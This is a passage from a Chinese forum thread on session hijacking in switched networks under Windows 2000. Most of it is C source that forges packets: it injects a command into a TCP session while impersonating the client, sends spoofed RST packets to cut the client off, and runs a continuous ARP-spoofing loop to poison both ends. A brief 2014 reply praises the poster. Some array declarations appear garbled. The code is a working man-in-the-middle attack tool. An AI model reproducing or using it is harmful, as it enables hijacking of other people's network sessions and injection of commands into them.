    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
    //modify tcp head
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
    pHiJackPacket-&gt;tcphdr.th_sum = 0;
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
    //fill tcp psd head
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
    //calculate IP checksum
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer           
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
      printf("Error sending the hijack packets!\n");
      __leave;
    }
    else printf("Send hijack packet ok!\n");
    bRet = TRUE;
  }

韩冰 发表于 2004-11-21 01:47

__finally
  {
    if(pHiJackPacket) free(pHiJackPacket);
  }
  return bRet;
}


//
//功能:伪装成Server给Client发送rst包
//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
{
  char    szBuff;
  PSDHDR    psdhdr;
  PTCPPACKET  pTcpPacket = NULL;
  BOOL    bRet = FALSE;

  __try
  {
    //检查当前指向想控制的连接的信息的指针是否为空
    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for rst packet
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pTcpPacket)
    {
      printf("malloc error:%d\n", GetLastError());
      __leave;
    }
    //fill ethernet head
    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
    //fil ip head
    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pTcpPacket-&gt;iphdr.tos = 0;
    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
    pTcpPacket-&gt;iphdr.ident = 1;
    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
    pTcpPacket-&gt;iphdr.ttl = 128;
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
    pTcpPacket-&gt;iphdr.checksum = 0;
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
    //fill tcp head
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
    pTcpPacket-&gt;tcphdr.th_win = 0;
    pTcpPacket-&gt;tcphdr.th_urp = 0;
    pTcpPacket-&gt;tcphdr.th_sum = 0;
    //fill tcp psd head
    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR));
    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
    //calculate IP checksum
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
      printf("Error sending the rst packets!\n");
      __leave;
    }
    else printf("Send RST packet ok!\n");
    bRet = TRUE;
  }
  __finally
  {
    if(pTcpPacket) free(pTcpPacket);
  }
  return bRet;
}

//
//功能:计算校验和
//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size &gt;1) {
  cksum+=*buffer++;
  size -=sizeof(USHORT);
}
if(size ) {
  cksum += *(UCHAR*)buffer;
}
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
cksum += (cksum &gt;&gt;16);
return (USHORT)(~cksum);
}

//
//功能:实施ARP欺骗
//1 告诉ServerSide,ClientSide的mac是ownmac
//2 告诉ClientSide,ServerSide的mac是ownmac
//
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
  int  iType = *(int *)lpType;
  ARPPACKET  ArpPacket;
  LPPACKET  lpArpPacket;
  char    szArpBuff;

  switch(iType)
  {
    case 1:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
      break;
    case 2:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ClientSideIP;
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
      break;
    default:
      return 0;
  }
  //ethernet head
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
  //arp head
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
  ArpPacket.arphdr.HrdAddrlen = 6;
  ArpPacket.arphdr.ProAddrLen = 4;
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
  ArpPacket.arphdr.ProType = htons(EPT_IP);
  ArpPacket.arphdr.op = htons(2);//arp reply

  lpArpPacket = PacketAllocatePacket();
  if(lpArpPacket == NULL)
  {
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
    return 0;
  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
  //send arp packet
  while(1)
  {
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
    {
      printf("Error sending the arp spoof packets!\n");
      return 0;
    }
    Sleep(1000);
  }
  return 0;
}

//
//功能:输入IP取得对应的MAC地址
//
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
{
  DWORD  dwRet;
  ULONG  ulLen = 6, pulMac;
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
  if(dwRet == NO_ERROR)
  {
    memcpy(pMAC, pulMac, 6);
    return TRUE;
  }
  else return FALSE;
}

wy617958197 发表于 2014-9-4 20:48

大侠好厉害啊
页: [1]
查看完整版本: 再谈交换环境下的会话劫持(For windows2000)